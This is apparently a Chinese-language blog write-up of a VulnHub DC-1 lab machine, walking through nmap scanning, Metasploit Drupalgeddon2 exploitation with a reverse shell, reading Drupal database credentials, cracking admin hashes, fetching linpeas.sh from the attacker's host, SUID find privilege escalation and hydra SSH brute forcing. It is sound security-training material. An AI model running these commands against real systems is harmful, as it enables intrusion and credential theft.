# 🛡️ VulnHub DC-1 靶机渗透测试笔记

>**靶机信息**
- 靶机名称：DC-1
- 靶机来源：VulnHub
- 目标：获取所有 flag，最终提权至 root
- 难度：⭐⭐☆☆☆（入门级）
- 涉及技术：信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破


----
## 🔍 一、信息收集

### 1.1 主机发现

先查看一下本地网段，确认在 67 网段，使用 nmap 扫描存活主机：
```
nmap -sn 192.168.67.0/24
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/d88a1a75cc89da286b28a1832c9b5230.png)
扫描结果中发现目标 IP 为 `192.168.67.131`。
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/43f7dfd87d3baf26531f6c959e75b411.png)
### 1.2 端口与服务扫描

对目标 IP 进行详细扫描，获取开放端口、服务版本及系统信息：
```
nmap -A -T4 192.168.67.131
``````
PORT &nbsp;  STATE SERVICE VERSION
22/tcp  open  ssh &nbsp; &nbsp; OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http &nbsp;  Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7
111/tcp open  rpcbind 2-4 (RPC #100000)
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/987212dab60b734af527552d83d0b9f2.png)
**扫描结果分析：**

|端口|服务|关键信息|
|:-:|:-:|:-:|
|22|SSH|OpenSSH 6.0p1，版本较老|
|80|HTTP|**Drupal 7**，Apache 2.2.22|
|111|RPC|基本无利用价值|
>💡 **关键发现：** 80 端口运行的是 **Drupal 7** CMS，这是一个存在多个高危漏洞的版本，是本次渗透的主要突破口。


----
## 💥 二、漏洞利用

### 2.1 搜索 Drupal 漏洞

使用 `searchsploit` 在本地漏洞库中搜索 Drupal 7 相关漏洞：
```
searchsploit drupal 7
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/308c76ac5a23894bfae822c142c782de.png)
发现 **Drupalgeddon2（CVE-2018-7600）** 漏洞，该漏洞允许未授权远程代码执行（RCE），危害极高。
### 2.2 使用 Metasploit 利用漏洞

启动 Metasploit 框架：
```
msfconsole
```搜索并加载 Drupalgeddon2 模块：
```
search Drupalgeddon
use exploit/unix/webapp/drupal_drupalgeddon2
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/fe3ae4ae9c8266f13c6f511ce5fcf293.png)
查看模块参数配置（`Required: yes` 为必填项）：
```
show options
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/1dff9830049c2e74d3a738bc7210decf.png)
配置目标和本机 IP：
```
set RHOSTS 192.168.67.131
set LHOST 192.168.67.128
set LPORT 4444
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/c857e353446d25527fd1cf19d6bc70ab.png)
执行攻击：
```
run
```成功获取 Meterpreter shell，进入交互式终端：
```
shell
python -c 'import pty;pty.spawn("/bin/bash")'
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/55a260674edf387ebe2bb6cf404b7b43.png)
查看当前权限：
```
whoami   # www-data
id
uname -a # Linux DC-1 3.2.0-6-486
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/3164e0c4990620da78e1557c8129cd57.png)
>⚠️ 当前为 **www-data** 权限，需要进一步提权。


----
## 🚩 三、寻找 Flag

### 3.1 Flag 1

查看当前目录文件，发现 `flag1.txt`：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/ff5fb59ba9bd68e00fcce53ab3de3329.png)
```
Every good CMS needs a config file - and so do you.
```>💡 提示：去找 CMS 的配置文件。

### 3.2 Flag 2 —— 数据库配置文件

Drupal 的配置文件路径为：
```
cat /var/www/drupal/sites/default/settings.php
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/6ff2afc81cdf6e398699411853fe5ead.png)
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/c2ea103d2c6624c45fba142965046fea.png)
在配置文件中发现 **MySQL 数据库账号密码** 以及 **Flag 2**：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/443ce036b6ee2308b4959ef561719093.png)
>数据库凭据：`dbuser / R0ck3t`

尝试用 Navicat 外连失败（目标不允许外部连接）：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/55a3a2c0db6df511a61b3a03f662ae06.png)
改为在 shell 中本地连接 MySQL：
```
mysql -udbuser -pR0ck3t
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/7b957d15fc79b888bae3421025b1a757.png)
查看数据库，进入 `drupaldb`：
```
show databases;
use drupaldb;
show tables;
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/aeb586ccd81c14296bf1e16e3ff46ebf.png)
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/678525cd28b3622efeaaa223474724c6.png)
查看 users 表结构：
```
desc users;
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/fe30724ea2dedb452f1eb47b71f68f96.png)
提取用户名和密码 hash：
```
select name,pass from users;
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/b0a03fd971cc41c7486105710ba3f07b.png)
### 3.3 破解管理员密码

密码为 Drupal 使用的 PHPass 加密格式（`$S$` 开头），使用在线工具破解：
- [cmd5.com](https://www.cmd5.com/)（需付费）
- [hashes.com](https://hashes.com/zh/decrypt/hash)（免费）

![image](https://developer.qcloudimg.com/http-save/yehe-12102415/85bf94ef1bbfe9663b4d171099fef95d.png)
破解结果：
```
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR : 53cr3t
```>🔑 管理员账号：`admin / 53cr3t`

### 3.4 Flag 3 —— Drupal 后台

使用破解的账号登录 Drupal 后台：`http://192.168.67.131/user/login`
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/6afb5aa26f459f8b78e78e80494acbca.png)
在后台内容中发现 **Flag 3**：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/5e88f6083148f7b69f5c395f17f5caf1.png)
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/9da10970a2505e34243d914cdd83df03.png)
>💡 提示：去找 `/etc/passwd` 文件。

### 3.5 Flag 4 —— 系统用户信息

在 MSF shell 中查看 `/etc/passwd`：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/2b829bb6beaa7fbaefc67b33828cbdab.png)
发现系统存在 `flag4` 用户：
```
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/8694b493c0bf135895f58c404eed4966.png)
进入 `/home/flag4` 目录，查看 flag4 内容：
```
cat flag4.txt
``````
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
```>💡 提示：在 root 目录中还有最终 flag，需要提权。

![image](https://developer.qcloudimg.com/http-save/yehe-12102415/744b682d6ad06599dc2091bdade46af3.png)


----
## ⬆️ 四、权限提升

### 4.1 信息收集

笔记里的提权方式有很多
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/6764aac064af9162b8351043bab3d110.png)
查看内核版本：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/3b4eefcd36ae54daff637e10d07b5a0c.png)
尝试使用 MSF 自动检测提权方案：
```
run post/multi/recon/local_exploit_suggester
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/ee08d3fbc148c8ca1a1a9abda9970f0c.png)
>未找到可用的提权建议，换手动方式。

### 4.2 使用 LinPEAS 自动枚举

靶机无法访问外网，通过 Kali 中转传输文件。
在 Kali 上开启 HTTP 服务：
```
python3 -m http.server 8888
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/dd45d8dea16fb6391d853ce5f84868ce.png)
在靶机 shell 中下载 linpeas.sh：
```
wget http://192.168.67.128:8888/linpeas.sh
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/b8e63974182300bd9044268472539150.png)
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/c8ec5043cfacf01e7a2f448e25c32daa.png)
确认下载成功后执行：
```
chmod +x linpeas.sh
./linpeas.sh
```
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/4d5c7d048ff885798728ab5263609f15.png)
LinPEAS 输出结果中发现 `find` 命令具有 **SUID** 权限：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/f4e2b2d8bdd0be39bb104eaddf954936.png)
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/8dac8aad22934a81680755be8ddb0ea4.png)
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/7d3ce014d4c287f50689f12ec9b19140.png)
### 4.3 SUID 提权（find 命令）

访问 [GTFOBins](https://gtfobins.github.io/) 查询 find 的 SUID 利用方式：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/ed13f0fc0192b83b0a33fd5c59541b7c.png)
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/24d9f2fbe1dc595339ec49aba496750f.png)
执行提权命令（注意需要使用 `-p` 参数保留 SUID 权限）：
```
find . -exec /bin/bash -p \; -quit
```成功获取 **root** 权限，找到最终 flag：
![image](https://developer.qcloudimg.com/http-save/yehe-12102415/f5e51237b6c4e1fdb677d4dd857ce716.png)
```
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
```

----
## 🔑 五、扩展：SSH 爆破登录

除 SUID 提权外，还可以通过爆破 flag4 用户的 SSH 密码来进行另一条提权路线。
使用 hydra 爆破 SSH（用的是john的字典）：
```
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.67.131
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/17475de9b7f2b44c4e1ef37a3164f89a.png)
成功获取密码：`flag4 / orange`
```
ssh flag4@192.168.67.131
# 密码：orange
```![image](https://developer.qcloudimg.com/http-save/yehe-12102415/0805f26eb8adf864ce5eb5baf907a557.png)
>💡 登录 flag4 后同样可以利用 SUID find 或内核漏洞提权至 root。


----
## 📋 六、渗透流程总结

```
信息收集（nmap）
    ↓
发现 Drupal 7 → Drupalgeddon2（CVE-2018-7600）
    ↓
Metasploit 获取 www-data shell
    ↓
读取 settings.php → 数据库凭据 → 破解管理员 hash
    ↓
登录 Drupal 后台 → Flag 3
    ↓
查看 /etc/passwd → 发现 flag4 用户
    ↓
LinPEAS 枚举 → 发现 find SUID
    ↓
SUID find 提权 → root → 最终 Flag ✅
```

----
## 🛠️ 七、涉及工具汇总


|工具|用途|
|:-:|:-:|
|nmap|端口扫描、服务识别|
|searchsploit|本地漏洞库搜索|
|Metasploit|漏洞利用框架|
|MySQL CLI|数据库查询|
|LinPEAS|Linux 提权信息收集|
|GTFOBins|SUID/sudo 利用查询|
|Hydra|SSH 密码爆破|
|hashes.com|在线 hash 破解|


----
>📝 本文为 VulnHub DC-1 靶机学习笔记，仅用于合法的安全学习与研究。

涉及技术：信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破

VulnHub DC-1 靶机渗透测试笔记

编程语言

VulnHub DC-1靶机渗透测试实战：通过Drupalgeddon2漏洞获取初始访问权限，利用MySQL数据库凭证破解管理员密码，最终通过SUID提权获取root权限。涵盖信息收集、漏洞利用、密码破解和权限提升全流程，适合渗透测试初学者学习实战技巧。

SQL数据库

数据库

Drupal

Debian

MySQL

Linux

2026新春采购季

tencentdb-catalog

腾讯云数据库特惠，新用户首单0.5折起


tpts

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

VulnHub DC-1 靶机渗透测试笔记-腾讯云开发者社区-腾讯云

VulnHub DC-1 靶机渗透测试笔记

VulnHub DC-1 靶机渗透测试笔记

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐